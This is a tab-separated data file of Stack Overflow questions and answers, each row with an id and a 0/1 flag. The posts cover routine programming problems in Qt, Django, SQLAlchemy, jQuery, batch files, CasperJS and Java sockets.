6637497	0	 <p>Since <code>Light</code> inherits from <code>Switchable</code>, it could also be deployed with <code>Switchable</code> - it seems, however, due to the naming, that the primary class interacting with the <code>Switchable</code> interface will be <code>Switch</code> - which means that the two are tightly-coupled: you should never put tightly-coupled class/interface definitions in separate assemblies. </p> <p>You could also conceive of other <code>Switchable</code> classes, such as <code>Outlet</code> or a whole set of <code>Appliances</code>. These could be added at a later date, and they would have nothing to do with <code>Light</code>, meaning that <code>Light</code> and <code>Switchable</code> aren't necessarily part of the same component. However, the <code>Switch</code> class would still apply to these new classes and would apply.</p> <p>(It is true that a different consumer of the <code>Switchable</code> interface could be conceived, but it would likely be an awkward adaptation, such as a <code>ToggleButton</code> that toggled the on/off state by remembering the last method called. However, with the names chosen, <code>Switchable</code> still implies that a <code>Switch</code> could be involved.)</p> <p>I hope this answers your question.</p>
7672672	0	Issue with QHash <p>I been trying and trying to get this to work but it just refuses to work. I read the QT documentation and I'm just unable to get the insert function to function. When I build I get the following complication errors</p> <pre><code>/home/mmanley/projects/StreamDesk/libstreamdesk/SDDatabase.cpp: In constructor 'SDDatabase::SDDatabase()': /home/mmanley/projects/StreamDesk/libstreamdesk/SDDatabase.cpp:27:44: error: no matching function for call to 'QHash&lt;QString, SDChatEmbed&gt;::insert(const char [9], SDChatEmbed (&amp;)())' /usr/include/qt4/QtCore/qhash.h:751:52: note: candidate is: QHash&lt;Key, T&gt;::iterator QHash&lt;Key, T&gt;::insert(const Key&amp;, const T&amp;) [with Key = QString, T = SDChatEmbed] make[2]: *** [libstreamdesk/CMakeFiles/streamdesk.dir/SDDatabase.cpp.o] Error 1 make[1]: *** [libstreamdesk/CMakeFiles/streamdesk.dir/all] Error 2 </code></pre> <p>here is the header file:</p> <pre><code>class SDStreamEmbed { Q_OBJECT public: SDStreamEmbed(); SDStreamEmbed(const SDStreamEmbed &amp;other); QString FriendlyName() const; SDStreamEmbed &amp;operator=(const SDStreamEmbed &amp;other) {return *this;} bool operator==(const SDStreamEmbed &amp;other) const {return friendlyName == other.friendlyName;} private: QString friendlyName; }; Q_DECLARE_METATYPE(SDStreamEmbed) inline uint qHash(const SDStreamEmbed &amp;key) { return qHash(key.FriendlyName()); } </code></pre> <p>and the implementation</p> <pre><code>SDStreamEmbed::SDStreamEmbed() { } SDStreamEmbed::SDStreamEmbed(const SDStreamEmbed&amp; other) { } QString SDStreamEmbed::FriendlyName() const { return friendlyName; } </code></pre> <p>and how I am invoking it</p> <pre><code>SDChatEmbed embedTest(); ChatEmbeds.insert("DemoTest", embedTest); </code></pre> <p>and the definition of ChatEmbeds</p> <pre><code>QHash&lt;QString, SDStreamEmbed&gt; StreamEmbeds; </code></pre>
32854613	0	 <p>The password-reset token that Firebase generates when you call <code>resetPassword()</code> expires after 24 hours. That time period is not configurable, nor can the token be extended.</p>
27406567	0	 <p>You could solve the problem with the help of <a href="http://www.ruby-doc.org/stdlib-1.9.3/libdoc/rexml/rdoc/REXML/Document.html" rel="nofollow"><code>REXML</code></a> library.</p> <pre><code>require 'rexml/document.rb' doc = REXML::Document.new &lt;&lt;-DOC &lt;Reports&gt; &lt;Report active="1" valid="1" bureau="EXS"&gt; Dummy Dummy&lt;/Report&gt; &lt;/Reports&gt; DOC doc.get_text("/Reports/Report") # =&gt; " Dummy Dummy" </code></pre>
22244799	0	 <p>This is not a bug in Unity.</p> <p>Something inside the OS is getting into a bad state and the touch-drag messages stop flowing smoothly. Sometimes you'll get multiple updates in a frame and sometimes you'll get none.</p> <p>The issue does not happen on iPhone4 or below, or if the game is running at 30Hz frame rate.</p> <p>I experienced this bug while using an in-house engine I'd written while working at a previous company. It first manifest itself after upgrading the UI system of a scrabble genre game, where you drag the tiles about on the screen. This was utterly bizarre, and I was never able to pin down the exact reproduction steps, but they seem to be timing related, somehow.</p> <p>It can also be seen on Angry Birds (unless they've fixed it by now), and a variety of other games on the market, basically anything with touch-drag scrolling or movement. For Angry Birds, just go into a level and start scrolling sideways. Most of the time it'll be silky smooth, but maybe 1 in 10 times, it'll be clunky. Re-start the app and try again.</p> <p>A workaround is to drop the input update frequency to 30Hz for a few frames. This jolts the internals of the OS somehow and gives it time to straighten itself out, so when you crank it back up to 60Hz, it runs smoothly again.</p> <p>Do that whenever you detect that the bad state has been entered.</p>
26463738	0	 <p>You need to do it in 2 steps.</p> <p>First, you have to parse your CSV. I recommend <a href="http://supercsv.sourceforge.net/examples_reading.html" rel="nofollow">superCSV</a>. Parsing CSV may be fancy sometimes, so I really recommend you to use a library for that.</p> <p>Second, you can serialize into JSON. Then you can use <a href="https://code.google.com/p/google-gson/" rel="nofollow">GSON</a>, <a href="http://jackson.codehaus.org/" rel="nofollow">jackson</a>, <a href="http://flexjson.sourceforge.net/" rel="nofollow">flexjson</a>, whatever.</p>
8584034	0	Why are all anonymous classes implicitly final? <p>According to the JLS:</p> <blockquote> <p>15.9.5 Anonymous Class Declarations An anonymous class declaration is automatically derived from a class instance creation expression by the compiler.</p> <p>An anonymous class is never abstract (§8.1.1.1). An anonymous class is always an inner class (§8.1.3); it is never static (§8.1.1, §8.5.2). <strong>An anonymous class is always implicitly final (§8.1.1.2)</strong>.</p> </blockquote> <p>This seems like it was a specific design decision, so chances are it has some history.</p> <p>If I choose to have a class like this:</p> <pre><code>SomeType foo = new SomeType() { @Override void foo() { super.foo(); System.out.println("Hello, world!"); } }; </code></pre> <p>Why am I not allowed to subclass it again if I so choose?</p> <pre><code>SomeType foo = new SomeType() { @Override void foo() { super.foo(); System.out.println("Hello, world!"); } } { @Override void foo() { System.out.println("Hahaha, no super foo for you!"); } }; </code></pre> <p>I'm not saying I necessarily want to, or can even think of a reason why I would. But I am curious why this is the case.</p>
33366354	0	How can i get the same functionality as this .each() using a for loop? <p>I have written this function to assign line-height to elements with different heights.Is there any possible way of doing this using a for loop ?</p> <pre><code>$(".portfolio-image-overlay").each(function(){ "use strict"; var height = $(this).siblings("img").height(); var cheight = $(".item.active&gt; a&gt; img").height(); $(this).css({"line-height":height+"px"}); $(this).css({"line-height":cheight+"px"}); }); </code></pre>
1918637	0	Django - Designing Model Relationships - Admin interface and Inline <p>I think my understanding of Django's FK and admin is a bit faulty, so I'd value any input on how to model the below case.</p> <p>Firstly, we have generic Address objects. Then, we have User's, who each have a UserProfile. Through this, Users belong to departments, as well as having addresses.</p> <p>Departments themselves can also have multiple addresses, as well as a head of department. So it might be something like (this is something I'm just hacking up now):</p> <pre><code>class Address(models.Model): street_address = models.CharField(max_length=20) etc... class Department(models.Model): name = models.CharField(max_lenght=20) head_of_department = models.OneToOneField(User) address = models.ForeignKey(Address) class UserProfile(models.Model): user = models.ForeignKey(User, unique=True) address = models.ForeignKey(Address) department = models.OneToOneField(Department) </code></pre> <p>Anyhow, firstly, is that the right way of setting up the relationships?</p> <p>And secondly, I'd like it to appear in the admin that you can edit a department, and on that page, it'd have an inline list of all the addresses to also edit. I've tried setting up an AddressInline class, and attaching it as an inline to Department.</p> <pre><code>class AddressInline(admin.TabularInline): model = Address class DepartmentAdmin(admin.ModelAdmin): inlines = [AddressInline] </code></pre> <p>However, when I try to display that, I get:</p> <pre><code>Exception at /admin/people/department/1/ &lt;class 'people.models.Address'&gt; has no ForeignKey to &lt;class 'people.models.Department'&gt; </code></pre> <p>Cheers, Victor</p>
18392612	0	 <p>Let's say RAND_MAX is 150. (Obviously it's not actually.) And we want numbers from 0-99. Then we do <code>rand() % 100</code>. Cool.</p> <p>The problem is, what if RAND() returns a number greater than 100? Let's take 102. <code>102 % 100 = 2</code>, and <code>2 % 100 = 2</code>. So there is a <code>2/150</code> chance that we will get a 2 with the given algorithm. But a number above 50? There's only a <code>1/150</code> chance that we'll get it. The higher RAND_MAX, the less of a problem this is, but it remains an issue. </p> <p>Notice that if RAND_MAX were divisible by the number that you wanted to "modulate" it by, all numbers would be equally likely. i.e if RAND_MAX were 200 rather than 150. Hope this helps!</p> <p>Edit: the actual math.</p> <p>RAND_MAX is guaranteed to be at least 32767. If we want a range from 0-99, we can do <code>RAND() % 100</code>. Then, numbers between 0 and 67 will all appear 328 possible times, while 68-99 will appear only 327 times each. That's a 1.0010071% chance for the first 68 numbers, and only a 0.9979553% chance for the rest of them. We want them all to be 1%! Usually not a major issue, but depending on the use case, could show some strange behavior.</p>
39661549	0	 <p><a href="https://ruby-doc.org/core-2.3.0/IO.html#method-c-readlines" rel="nofollow"><code>IO#readlines</code></a> expects a string, not a regular expression. But the desired behaviour might be easily achieved with <code>read</code> + <code>split</code> since according to the documentation <code>readlines</code> “reads the entire file”:</p> <pre><code>f.read.split /\!|\.|\?/ </code></pre> <p>Please also read the valuable comment by @tom-lord with a significant improvement suggestion.</p>
29754651	0	How to take date of birth from user and tell its age <p>Hi I want make a console program in c# where the user enters his/her date of birth and the program should return his/her current age...</p> <p>I am a beginner and have really no idea to do that...</p>
23000592	0	 <p>I have run into similar issues. Most of the times, I fixed it by <strong>casting it to any</strong>. </p> <p>Try this - </p> <pre><code> (&lt;any&gt;grid.dataSource.transport).options.read.url = newDataSource; </code></pre> <p>Or, you can try this too -</p> <pre><code>(&lt;kendo.data.DataSource&gt;.grid.dataSource).transport.options.read.url = newDataSource; </code></pre> <p>But, fist option should work for sure!</p> <p>Hope, this helps</p>
39998540	0	 <p>You could try one like this</p> <pre><code>&lt;RelativeLayout android:layout_width="200dp" android:layout_height="150dp" android:layout_centerInParent="true"&gt; &lt;RelativeLayout android:layout_width="120dp" android:layout_height="match_parent" android:layout_alignParentLeft="true" android:background="#aaff0000"&gt;&lt;/RelativeLayout&gt; &lt;RelativeLayout android:layout_width="120dp" android:layout_height="match_parent" android:layout_alignParentRight="true" android:background="#aa00ff00"&gt;&lt;/RelativeLayout&gt; &lt;/RelativeLayout&gt; </code></pre>
31691685	0	 <p>Change this line:</p> <pre><code> this.css("text-shadow", sh); </code></pre> <p>to</p> <pre><code> $(this).css("text-shadow", sh); </code></pre> <p>.css is a jQuery function and it works on a proper selector</p> <p><strong>Demo</strong>: <a href="https://jsfiddle.net/wwqxdjvp/" rel="nofollow">https://jsfiddle.net/wwqxdjvp/</a></p>
26331738	0	 <p>Ok for anyone else looking for a solution, mine turned to be a combination of looking into how rails's ModelName.exists? works, figuring our how configatron gem works and fixing configatron initializer</p> <p>The bottom line ModelName.exists? wasn't caches and was called 4 times from my code. Fixed to only be called once. </p>
33097910	0	 <p>This does not seem to be about delphi or blob fields at all, since "the same fingerprint" will rarely (if ever) happen. Even the same person will produce slightly different images every time (s)he puts a finger on the scanner. Therefore the real problem is not checking for equality but checking for close matches which is a nontrivial problem in and of itself. You should consult specialized literature.</p>
30804483	0	Batch Getting & Displaying User Input <p>Why is this code not working?</p> <pre><code>@echo off set /p param=Enter Parameters: echo %param% </code></pre> <p>Output:</p> <pre><code>(Nothing) </code></pre> <p>I have searched all relative posts, but I can't find what is wrong with it. There is no space problem, or syntax problem that I can identify</p> <p><strong>Update:</strong> As <strong>rojo</strong> stated, since the code block is working, here is the full code, which is not working.</p> <pre><code>@echo off for /f %%j in ("java.exe") do ( set JAVA_HOME=%%~dp$PATH:j ) if %JAVA_HOME%.==. ( echo java.exe not found ) else ( set /p param=Enter Parameters: echo %param% (statement using JAVA_HOME) ) pause </code></pre> <p>Output:</p> <pre><code>Enter Parameters: jfdklsaj ECHO is off. ... </code></pre>
36626426	0	Save recorded sound to project file in UWP <p>I recorded sound with the device's microphone but I don't know how to save it. Is it with the help of <code>MediaCapture</code> element, and if yes, then how to do it?</p>
32311645	0	 <p>You can pass parameters by using the query string eg.</p> <p><a href="http://www.somesite.com?param1=123&amp;param2=abc" rel="nofollow">http://www.somesite.com?param1=123&amp;param2=abc</a></p> <p>See also <a href="https://en.wikipedia.org/wiki/Query_string" rel="nofollow">Query String</a></p>
22550720	1	Comparing Values of two lists and Printing to a file <p>I have a program that is supposed to be comparing the contents of a list to values returned by a tinter treeview and if the values do not match, writing the element of the list to a file. The idea is to allow the user to remove an element in the tree (which is populated by reading from a the same file I'm trying to write to). here is the code:</p> <pre><code> selected_book = info_box.focus() del_book = info_box.item(selected_book, 'values') title_file_clear = open("titles", 'w') author_file_clear = open("authors", 'w') title_file_clear.close() author_file_clear.close() title_file_3 = open("titles", "a") author_file_3 = open("authors", "a") for i in range(0,len(titles)): if titles[i] == del_book[0] is False: print(titles[i], file=title_file_3) for i in range(0,len(authors)): if authors[i] == del_book[1] is False: print(authors[i], file=author_file_3) title_file_3.close() author_file_3.close() </code></pre> <p>But all it seems to do is blank the files. (I do know this is not likely to be the most efficient piece of code, but I've been tweaking it for a while to try to get it to work)</p>
14012208	0	 <p>Their javascript seems to be changing the CSS. The CSS does the transformation and fading work.</p> <p>I <a href="http://mitchell-me.com/QuickOptimizer/Cache/43b42ff4cc2c854d0f53e3a3eef13bd85f3aff56b295be5a866e5835449041e2.js" rel="nofollow">snooped through their javascript</a>...</p> <pre><code>$("#service li").click(function(e){e.preventDefault();var index=$(this).index();$('#service li').removeClass("active");if(!$(this).hasClass("active")&amp;&amp;!intrans){intrans=true;switch(index){case 0:TweenLite.to($(".dial"),1.5,{css:{shortRotation:0},ease:Expo.easeInOut});TweenLite.to($(".gear"),1.5,{css:{autoAlpha:0,rotation:0},ease:Expo.easeInOut});TweenLite.to($(".bulb"),1.5,{css:{autoAlpha:1,rotation:0},ease:Expo.easeInOut});$('#electric, #electric1').delay(800).animate({opacity:1},{easing:easeType,duration:"100",complete:function(){}});$('#mechanic, #mechanic1').delay(200).animate({opacity:0},{easing:easeType,duration:"100",complete:function(){intrans=false}});break;case 1:TweenLite.to($(".dial"),1.5,{css:{shortRotation:115,transformOrigin:"103px 103px"},ease:Expo.easeInOut});TweenLite.to($(".bulb"),1.5,{css:{autoAlpha:0,x:0,y:0,rotation:120,transformOrigin:"20px 40px"},ease:Expo.easeInOut});TweenLite.to($(".gear"),1.5,{css:{autoAlpha:1,x:0,y:0,rotation:120,transformOrigin:"50px 48px"},ease:Expo.easeInOut});$('#electric, #electric1').delay(200).animate({opacity:0},{easing:easeType,duration:"100",complete:function(){}});$('#mechanic, #mechanic1').delay(800).animate({opacity:1},{easing:easeType,duration:"100",complete:function(){intrans=false}});break;}} </code></pre> <p>And it looks like they're using <a href="http://www.greensock.com/tweenlite/" rel="nofollow">Tweenlite</a> and <a href="http://www.greensock.com/tweenmax/" rel="nofollow">Tweenmax</a> for it.</p>
375843	0	 <p>Using <code>includeInLayout ="true"</code> or <code>"false"</code> will toggle the space that it takes in the flow of items being rendered in that section. </p> <p><strong>Important note:</strong> If you don't specify <code>visible="false"</code> when using <code>includeInLayout = "false"</code> then you will usually get something that is undesired which is that your item (<code>boxAddComment</code>) is still visible on the page but stuff below <code>id="boxAddComment"</code> will overlap it visually. So, in general, you probably want "<code>includeInLayout</code>" and "<code>visible</code>" to be in synch. </p>
35046120	1	SQLAlchemy InvalidRequestError: failed to locate name happens only on gunicorn <p>Okay, so I have the following. In <code>user/models.py</code>:</p> <pre><code>class User(UserMixin, SurrogatePK, Model): __tablename__ = 'users' id = Column(db.Integer, primary_key=True, index=True) username = Column(db.String(80), unique=True, nullable=False) email = Column(db.String(80), unique=False, nullable=False) password = Column(db.String(128), nullable=True) departments = relationship("Department",secondary="user_department_relationship_table", back_populates="users") </code></pre> <p>and in <code>department/models.py</code>:</p> <pre><code>user_department_relationship_table=db.Table('user_department_relationship_table', db.Column('department_id', db.Integer,db.ForeignKey('departments.id'), nullable=False), db.Column('user_id',db.Integer,db.ForeignKey('users.id'),nullable=False), db.PrimaryKeyConstraint('department_id', 'user_id') ) class Department(SurrogatePK, Model): __tablename__ = 'departments' id = Column(db.Integer, primary_key=True, index=True) name = Column(db.String(80), unique=True, nullable=False) short_name = Column(db.String(80), unique=True, nullable=False) users = relationship("User", secondary=user_department_relationship_table,back_populates="departments") </code></pre> <p>Using the flask development server locally this works totally fine. However, once I deploy to the standard python buildpack on heroku, the <code>cpt/app.py</code> loads both modules to register their blueprints:</p> <pre><code>from cpt import ( public, user, department ) ... def register_blueprints(app): app.register_blueprint(public.views.blueprint) app.register_blueprint(user.views.blueprint) app.register_blueprint(department.views.blueprint) return None </code></pre> <p>and eventually errors out with the following:</p> <blockquote> <p>sqlalchemy.exc.InvalidRequestError: When initializing mapper Mapper|User|users, expression 'user_department_relationship_table' failed to locate a name ("name 'user_department_relationship_table' is not defined"). If this is a class name, consider adding this relationship() to the class after both dependent classes have been defined.</p> </blockquote> <p>I'd like to know if there's a better way to organize these parts to avoid this error obviously, but I'm more curious why this organization works fine on the development server but blows up something fierce on gunicorn/heroku.</p>
5405587	0	 <p>You're constantly multiplying the <code>noOfYears</code> variable by -1, so it keeps switching between -1 and 1. Try using <code>noOfYears * -1</code> instead (without the equals-sign).</p>
28475696	0	Differences when using functions for casper.evaluate <p>I'm using PhantomJS v2.0 and CasperJS 1.1.0-beta3. I want to query a specific part inside the page DOM.</p> <p>Here the code that did not work:</p> <pre><code>function myfunc() { return document.querySelector('span[style="color:#50aa50;"]').innerText; } var del=this.evaluate(myfunc()); this.echo("value: " + del); </code></pre> <p>And here the code that did work:</p> <pre><code>var del=this.evaluate(function() { return document.querySelector('span[style="color:#50aa50;"]').innerText; }); this.echo("value: " + del); </code></pre> <p>It seems to be the same, but it works different, I don't understand.</p> <p>And here a code that did also work:</p> <pre><code>function myfunc() { return document.querySelector('span[style="color:#50aa50;"]').innerText; } var del=this.evaluate(myfunc); this.echo("value: " + del); </code></pre> <p>The difference here, I call the myfunc without the '()'.</p> <p>Can anyone explain the reason? </p>
31222522	0	 <p>Hmmm, you aren't using parameters in the correct order. As per mail documentation (<a href="http://php.net/manual/en/function.mail.php" rel="nofollow">http://php.net/manual/en/function.mail.php</a>), it should be:</p> <pre><code>mail("my@email.com", $subject, $message, $from); </code></pre> <p>I am not sure where you want to use <code>$phone</code> but may be you can concatenate it to <code>$message</code> before sending it.</p>
14939936	0	 <p>To get detailed info you can try <code>gcc -E</code> to analyse your pre-processor output which can easily clear your doubt</p>
29121473	0	 <p>cUrl is a server side command. It will just read the result, that is html/js code in your case but will not execute it. To solve your problem( you want to grab and save an image) use instead gd libraries.</p>
30157238	0	Disabled Firefox Add-on ActionButton not grayed out <p>When creating a Firefox Add-on <code>ActionButton</code> <code>disabled</code>, e.g.,</p> <pre><code>var button = new ActionButton({ id: 'my-link', label: 'My label', icon: { '16': './icon-16.png', '32': './icon-32.png', '64': './icon-64.png' }, onClick: handleClick, disabled: true }); </code></pre> <p>the button indeed isn't clickable and doesn't produce any events, but the icon does <em>not</em> appear grayed out as advertised in <a href="https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/ui_button_action" rel="nofollow">the documentation</a>.</p> <p>Any ideas as to why this might be?</p>
29367249	0	 <p>Try by changing the tint color of the searchable in xib or in code as <code>[self.searchDisplayController setTintColor:[UIColor whiteColor]];searchDisplayController</code></p>
11011435	0	 <p>The AppFabric configuration tool updates the web.config file in at this location only</p> <blockquote> <p>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config</p> </blockquote> <p>When building with the "Any CPU" option as I was you must manually edit this file</p> <pre><code>C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config </code></pre> <p>With these settings (from the Framework64 version)</p> <pre><code>&lt;connectionStrings&gt; &lt;add connectionString="Data Source=(local);Initial Catalog=AppFabricMonitoringDB;Integrated Security=True" name="ApplicationServerMonitoringConnectionString" providerName="System.Data.SqlClient" /&gt; &lt;add connectionString="Data Source=(local);Initial Catalog=AppFabricPersistenceDB;Integrated Security=True" name="ApplicationServerWorkflowInstanceStoreConnectionString" providerName="System.Data.SqlClient" /&gt; &lt;/connectionStrings&gt; </code></pre> <p>They were previously set to the default</p> <pre><code>&lt;connectionStrings&gt; &lt;add connectionString="Data Source=.\SQLEXPRESS;Initial Catalog=AppFabricMonitoringDB;Integrated Security=True" name="ApplicationServerMonitoringConnectionString" providerName="System.Data.SqlClient" /&gt; &lt;add connectionString="Data Source=.\SQLEXPRESS;Initial Catalog=AppFabricPersistenceDB;Integrated Security=True" name="ApplicationServerWorkflowInstanceStoreConnectionString" providerName="System.Data.SqlClient" /&gt; &lt;/connectionStrings&gt; </code></pre>
32881079	0	 <p>Not sure if anyone still cares, but you can actually load your custom functions saved in a .ps1 file to the remote computer, via a PSSession. I tried it out and it works for me. <a href="http://stackoverflow.com/questions/14441800/how-to-import-custom-powershell-module-into-the-remote-session">Check out this guy's solution</a></p>
3857790	0	 <p>I think you would have to capture audio directly from the phone's microphone and stream it to your own recognition service. The Google recognition APIs are built as an Intent that launches their own Recognition dialog and gives you back results. If you want continuous recognition without a UI, you'll have to build that functionality yourself.</p>
37117740	0	 <p>Assuming that <code>resultSet</code> is a <code>List</code> implementation from the standard Java library, the answer to the "deep or shallow copy" question is "neither". <code>ListIterator</code>s of <code>List</code> classes in the standard Java library do not return a copy; they returns a <em>reference</em>, so you access the object stored in the <code>List</code>, not a copy of it.</p> <p>Since Java arrays are mutable, any modifications that your loop makes to <code>data</code> are done on the <code>Object[]</code> array stored inside the list.</p> <p>As <a href="http://stackoverflow.com/users/1221571/eran">Eran</a> correctly notes in his comment, since <code>List</code> and <code>ListIterator</code> are only interfaces, it is entirely conceivable to come up with an implementation that returns copies of list elements rather than references to actual elements. These copies could be deep or shallow, depending on your own implementation. However, list implementations supplied by Java library always return references to actual list elements.</p>
6050395	0	 <p>Are you forgetting to add the frog view?</p> <pre><code>// Assume that you have a contentView that is visible // and then a frogView to add to it when the button is pressed... [contentView addSubview:frogView]; </code></pre>
4262521	0	 <blockquote> <p>Professional Excel Development by Stephen Bullen describes how to register UDFs, which allows a description to appear in the Function Arguments dialog:</p> </blockquote> <pre><code>Function IFERROR(ByRef ToEvaluate As Variant, ByRef Default As Variant) As Variant If IsError(ToEvaluate) Then IFERROR = Default Else IFERROR = ToEvaluate End If End Function Sub RegisterUDF() Dim s As String s = "Provides a shortcut replacement for the common worksheet construct" &amp; vbLf _ &amp; "IF(ISERROR(&lt;expression&gt;, &lt;default&gt;, &lt;expression&gt;)" Application.MacroOptions macro:="IFERROR", Description:=s, Category:=9 End Sub Sub UnregisterUDF() Application.MacroOptions Macro:="IFERROR", Description:=Empty, Category:=Empty End Sub </code></pre> <p>From: <a href="http://www.ozgrid.com/forum/showthread.php?t=78123&amp;page=1" rel="nofollow noreferrer">http://www.ozgrid.com/forum/showthread.php?t=78123&amp;page=1</a></p> <p>To show the Function Arguments dialog, type the function name and press <kbd>Ctrl</kbd><kbd>A</kbd>. Alternatively, click the "fx" symbol in the formula bar:</p> <p><img src="https://i.stack.imgur.com/7CMpJ.png" alt="enter image description here"></p>
39142509	0	 <p>You can have a <code>maven-war-plugin</code> and configure to include empty folders.</p> <pre><code>&lt;plugin&gt; &lt;artifactId&gt;maven-war-plugin&lt;/artifactId&gt; &lt;version&gt;2.4&lt;/version&gt; &lt;configuration&gt; &lt;includeEmptyDirectories&gt;true&lt;/includeEmptyDirectories&gt; &lt;/configuration&gt; &lt;/plugin&gt; </code></pre>
15686372	0	Rendering each day using json data <p>I have a web service that returns a color for each day like this:</p> <pre><code>({"total_rows":"96","rows":[ {"row":{"date":"2013-01-01","airqualityindex":"50","categorycolorinteger":"-16718848"}}, {"row":{"date":"2013-01-02","airqualityindex":"45","categorycolorinteger":"-16718848"}}, {"row":{"date":"2013-01-03","airqualityindex":"57","categorycolorinteger":"-256"}}, {"row":{"date":"2013-01-04","airqualityindex":"36","categorycolorinteger":"-16718848"}}, {"row":{"date":"2013-01-05","airqualityindex":"42","categorycolorinteger":"-16718848"}}, {"row":{"date":"2013-01-06","airqualityindex":"51","categorycolorinteger":"-256"}} ...]}) </code></pre> <p>I want to shade each day cell's background color using the categorycolorinteger returned from this web service. I think I may be able to do that with dayRender but I haven't found a good example of how to do this.</p> <p>Thanks, Amy</p>
17185055	0	How to upload a new version for document use alfresco restfull api? <p>I want upload a file to alfresco and I want to create a new version if the file was exists in alfresco. How can i do it. I saw the alfresco api :"/alfresco/service/api/upload" has a parameter "majorversion", Can I use it or has another way? Thanks.</p>
30439911	0	 <p>You can use the ExpandString function, <a href="http://blogs.microsoft.co.il/scriptfanatic/2011/01/02/expanding-strings-and-environment-variables-in-powershell/" rel="nofollow">like this</a>:</p> <pre><code>$ExecutionContext.InvokeCommand.ExpandString($TemplVal) </code></pre> <p>(assuming $TemplVal has the template string).</p>
28024042	0	 <p>It depends from the task. There are plenty of tasks, for which John von Neumann computers are good enough. For example calculate precise values of functions in some range, or for example apply some filter at image, or store text into db and read it from it or store prices of some products etc. This is not area where NN are needed. Of course it is possible theoretically to train NN to choose where and how to save data. Or to train it to accountancy. But for cases where big array of data need to be analyzed, and current methods doesn't feet NN can be option to consider. Or speech recognition, or buying some pictures which will become masterpieces in the future can be done with NN.</p>
4578507	0	Who owns domain purchased via GoogleApps? <p>My original plan was to use google appengine for an application. For this I purchased a domain via GoogleApps at Godaddy. Since Google Appengine fails to impress me, I would love to move my website to another server. But who is the owner of the domain now? GoogleApp "purchased" the domain for me - how can I regain control over the domain I paid for? </p>
39132696	0	 <p>You should import FormsModule:</p> <pre><code>@NgModule({ imports: [CommonModule, FormsModule] </code></pre>
33206579	0	Find total number of Increasing Subsequences of given length <p>Given an array of numbers and <strong>question</strong> is to find <strong>total number</strong> of <em>Increasing sub-sequences of length</em> <strong>lis-1</strong>, where <strong>lis</strong> is the length of <code>Largest Increasing sub-sequence</code> of that given array. </p> <p><strong>Example:</strong> Suppose the array is <code>5 6 3 4 7 8</code>. Here, <strong>lis = 4</strong>. So, <strong>lis-1 = 3</strong>. Therefore, the total number of sub-sequences are <code>8</code> and given below: </p> <pre><code>5 6 7 5 6 8 3 4 7 3 4 8 3 7 8 6 7 8 5 7 8 4 7 8 </code></pre> <p>Can someone give me an idea for this algorithm, i'm not able to figure it out.</p>
5417647	0	save() and _save() model's methods in playframework <p>When create playramework's model we can use save() or _save() method. Why these both methods are avalible in the framework, what's the reason? (in this context they do the same - save object to db).</p> <p>Why I ask this: I have used save() method when doing some validation in it, but the end-user of my class could use _save() if he would want to save without validation. So I ask myself why there are two methods which are both public.</p> <blockquote> <p>I've handled it like this: The problem was with finding the place for making the validation while saving. In fact I've handled this issue using @PrePersist anotation for some method near the save() when I want to be sure that validation code would be invoced when persisting. So now I'm ok with save() and _save() :)</p> </blockquote>
7260906	0	Buildbot - Two Schedulers with one builder = Double checkin emails? <p>I have a buildbot running with two Schedulers - One triggered by code checkins and another triggered by content checkins; the former needs a much shorter treeStableTimer. Both of these Schedulers trigger the same builder, but what happens now is that everyone gets build notification mails twice for each checkin; once for the code scheduler and once for the content scheduler.</p> <p>For example, if the following checkins go in... CL# 1000 12:00pm user_a (code) CL# 1001 1:00pm user_b (content) ...we'd see a build fire off on CL#1000 and send build notification mail to user_a. Then, a build would fire off from CL#1001 and send build notification to user_a and user_b - user_a gets two notifications that his checkin succeeded, when he should only get one.</p> <p>I'd like to set things up so that we have two Schedulers, but when a builder triggers and sends email, it sends notification to the number of people who checked in since that builder's last build, not that Scheduler's last build. This seems straightforward conceptually, but I haven't seen anything on this in the docs or forums.</p> <p>What's the right way to do this? We do need different treeStableTimers on the same builder, and people need build mail notification when their build completes, regardless of which of the two Schedulers triggered the builder.</p>
11020716	0	 <p>Bean profiles could be great fit for this - based on the "active" profile let one or the other bean be created. </p> <p>Somewhat of an older article, but is still a good reference to profiles in Spring 3.1- <a href="http://blog.springsource.com/2011/02/11/spring-framework-3-1-m1-released/" rel="nofollow">http://blog.springsource.com/2011/02/11/spring-framework-3-1-m1-released/</a></p>
28400366	0	 <p>Here is a super simple I made just now with some comments of what is going on. The client connects to the server can can type messages which the server will print out. This is not a chat program since the server receives messages, and the client send them. But hopefully you will understand better it better :)</p> <p>Server:</p> <pre><code> import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; public class Main { public static DataInputStream in; public static DataOutputStream out; public static void main(String[] args) throws IOException { int port = 4444; ServerSocket server = null; Socket clientSocket = null; try { //start listening on port server = new ServerSocket(port); System.out.println("Listening on port: " + port); //Accept client clientSocket = server.accept(); System.out.println("client Connected!"); //initialize streams so we can send message in = new DataInputStream(clientSocket.getInputStream()); out = new DataOutputStream(clientSocket.getOutputStream()); String message = null; while (true) { // as soon as a message is being received, print it out! message = in.readUTF(); System.out.println(message); } } catch (IOException e){ e.printStackTrace(); if (!server.isClosed()){server.close();} if (!clientSocket.isClosed()){clientSocket.close();} } } } </code></pre> <p>Client:</p> <pre><code> import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; import java.util.Scanner; public class Main { public static void main(String[] args) throws IOException { //declare a scanner so we can write a message Scanner keyboard = new Scanner(System.in); // localhost ip String ip = "127.0.0.1"; int port = 4444; Socket socket = null; try { //connect socket = new Socket(ip, port); //initialize streams DataInputStream in = new DataInputStream(socket.getInputStream()); DataOutputStream out = new DataOutputStream(socket.getOutputStream()); while (true){ System.out.print("\nMessage to server: "); //Write a message :) String message = keyboard.nextLine(); //Send it to the server which will just print it out out.writeUTF(message); } } catch (IOException e){ e.printStackTrace(); if (!socket.isClosed()){socket.close();} } } } </code></pre>
33361777	0	 <pre><code>l = [1,2,3,4, 5, 6, 7, 8] print [[l[:i], l[i:]] for i in range(1, len(l))] </code></pre> <p>If you want all combinations. you can do like this.</p> <pre><code>print [l[i:i+n] for i in range(len(l)) for n in range(1, len(l)-i+1)] </code></pre> <p>or</p> <pre><code>itertools.combinations </code></pre>
